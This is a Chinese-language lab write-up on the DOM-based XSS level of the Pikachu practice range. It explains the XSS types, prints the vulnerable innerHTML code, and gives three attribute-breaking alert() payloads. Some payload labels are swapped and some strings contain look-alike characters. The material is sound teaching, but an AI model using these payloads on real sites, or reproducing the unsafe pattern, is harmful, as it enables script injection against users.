目錄
一、XSS原理
二、DOM型XSS
三、源碼分析
1、進入靶場
2、XSS探測
3、源碼分析
四、滲透實戰
1、Payload1
2、Payload2
3、Payload3
本系列為通過《pikachu靶場通關筆記》的XSS關卡(共10關)滲透集合,通過對XSS關卡源碼的代碼審計找到XSS風險的真實原因,講解XSS原理并進行滲透實踐,本文為XSS關卡 04-DOM 型XSS的滲透部分。
一、XSS原理
XSS(Cross - Site Scripting) 跨站腳本攻擊是一種常見的Web安全風險,因其高危害性位列OWASP Top 10安全威脅。攻擊者通過注入惡意腳本(通常為JavaScript)到網頁中,腳本在其瀏覽器執行。XSS主要分為3種類別,具體如下表所示。
類型 | 原理 | 數據交互 | 危害 |
---|---|---|---|
反射型 XSS | 攻擊者誘使用戶點擊含惡意腳本的鏈接,服務器將腳本反射回瀏覽器執行 | URL 參數傳入惡意腳本,服務器原樣返回 | 泄露用戶敏感信息,如登錄憑證、個人資料等;篡改頁面內容,誤導用戶操作 |
存儲型 XSS | 惡意腳本被存儲在服務器端,用戶訪問相關頁面時執行 | 惡意腳本提交到服務器并存儲,用戶訪問頁面時服務器返回含腳本內容 | 影響范圍廣,所有訪問該頁面的用戶都會受到攻擊;可進行大規模的信息竊取、會話劫持 |
DOM 型 XSS | 攻擊者通過構造惡意輸入,利用頁面 JS 修改 DOM 結構注入腳本,不涉及服務器處理 | 在頁面表單輸入惡意腳本,頁面 JS 處理輸入時觸發 | 破壞頁面的正常顯示和功能;可能導致用戶在不知情的情況下執行危險操作 |
二、DOM型XSS
DOM 型 XSS(Document Object Model Cross-Site Scripting)是一種基于瀏覽器文檔對象模型(DOM)的跨站腳本攻擊類型。與反射型和存儲型 XSS 不同,DOM 型 XSS 攻擊不依賴服務器端響應數據,而是利用網頁中 JavaScript 對 DOM 的不當操作來實現。
攻擊者通過精心構造 URL 或誘導用戶輸入惡意數據,使得網頁中的 JavaScript 代碼在處理數據并修改 DOM 結構時,將惡意腳本作為合法內容插入到頁面中。當瀏覽器解析并執行這些惡意腳本時,就會觸發攻擊,如竊取用戶 Cookie、劫持會話等。由于攻擊發生在客戶端瀏覽器,且不涉及服務器數據存儲和直接響應,其檢測和防御相對復雜,需要開發者對前端代碼中的 DOM 操作進行嚴格的安全審查和輸入驗證 。
分類 | DOM型XSS |
---|---|
存儲位置 | 不經過服務器,惡意代碼存在于URL片段(# 后)或前端輸入 |
觸發方式 | 前端JavaScript動態操作DOM時執行 |
攻擊場景 | 單頁應用(SPA)、動態網頁、依賴前端路由的Web應用 |
危害范圍 | 執行惡意腳本的用戶 |
攻擊特點 | 繞過服務端檢測(WAF無效),純前端風險 |
防御措施 | 安全的DOM操作(如textContent 替代innerHTML )、前端輸入驗證、CSP策略 |
修復難度 | 中(需全面檢查前端代碼) |
三、源碼分析
1、進入靶場
進入pikachu靶場XSS系列關系的04關-DOM型XSS頁面,打開后發現是一個留言板,如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom.php
2、XSS探測
輸入關鍵字判斷是否有過濾,關鍵字包括:單引號、雙引號、左右尖括號、問號、&、字符串與數字,接下來我們在搜索框輸入'"<>?&ljn20241019進行探測,如下所示。
???????'"<>?&ljn20241019
測試 發現輸入和輸出有區別,
3、源碼分析
查看DOM型XSS關卡源碼xss_dom.php文件內容,右鍵源碼,CTRL+F搜素關鍵詞上圖中出現的關鍵字what,發現一個js函數,利用了DOM將字符串進行了拼接并把值給a標簽的href,然后輸出
這段代碼存在DOM型 XSS風險,具體的源碼經過詳細注釋后如下所示。
<div id="xssd_main"><script>function domxss(){// 獲取用戶輸入(未經過濾)var str = document.getElementById("text").value;// 直接拼接用戶輸入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻擊者可嘗試的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')"> → 閉合標簽并插入惡意圖片// 2. ' onclick="alert('xss')"> → 閉合標簽并添加點擊事件</script><!-- 用戶輸入框 --><input id="text" name="text" type="text" value="" /><!-- 觸發DOM操作的按鈕 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 動態內容插入區域(XSS觸發點) --><div id="dom"></div>
</div>
分析可知本關卡通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str.然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中。產生XSS風險的關鍵代碼如下所示。
function domxss(){var str = document.getElementById("text").value; // 獲取用戶輸入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}
XSS的根源在于不可信數據未經驗證直接插入DOM,這個處理邏輯如下所示。
1)我們通過 <input id=“text” name=“text” type=“text” value="" / > 將字符串賦值給text然后JavaScript?
var str = document.getElementById(“text”).value; 獲取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把這個text字符串整合到a這個標簽中的href里再把a標簽寫入到dom這個標簽中。
3)最后< div id=“dom” >< /div > 執行這個dom標簽
XSS原理如下所示。
XSS類型 | DOM型XSS |
---|---|
觸發條件 | 用戶輸入直接拼接到innerHTML ,未經過濾或編碼 |
攻擊方式 | 通過閉合標簽(如'> )注入惡意HTML/JS代碼 |
危害 | 竊取Cookie、釣魚攻擊、頁面篡改 |
XSS成因與示例如下所示。
問題環節 | 具體風險 | 攻擊示例 |
---|---|---|
未過濾用戶輸入 | 用戶控制的str 直接拼接到innerHTML 中 | 輸入'><img src="#" onmouseover="alert('xss')"> |
危險API使用 | innerHTML 會解析HTML/JS代碼(非安全文本插入) | 輸入' onclick="alert('xss')"> ?閉合標簽并注入事件 |
缺乏輸出編碼 | 未對用戶輸入的" ?' ?< ?> 等字符轉義 | 輸入javascript:alert(1) ?可構造惡意鏈 |
四、滲透實戰
<a href='"+str+"'>what do you see?</a>
1、Payload1
payload1: #' οnclick=alert("ljn")>
#' onclick=alert("ljn")>
閉合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>
點擊click me后,下方生成鏈接,點擊鏈接后,彈框ljn
分析:右鍵元素-點擊查看器-Ctrl+F搜索關鍵字what
2、Payload2
payload3: ' οnclick="alert('ljn')">
' onclick="alert('ljn')">
閉合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>
3、Payload3
payload2: '><img src="#" οnmοuseοver="alert('ljn')">
'><img src="#" onmouseover="alert('ljn')">
閉合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>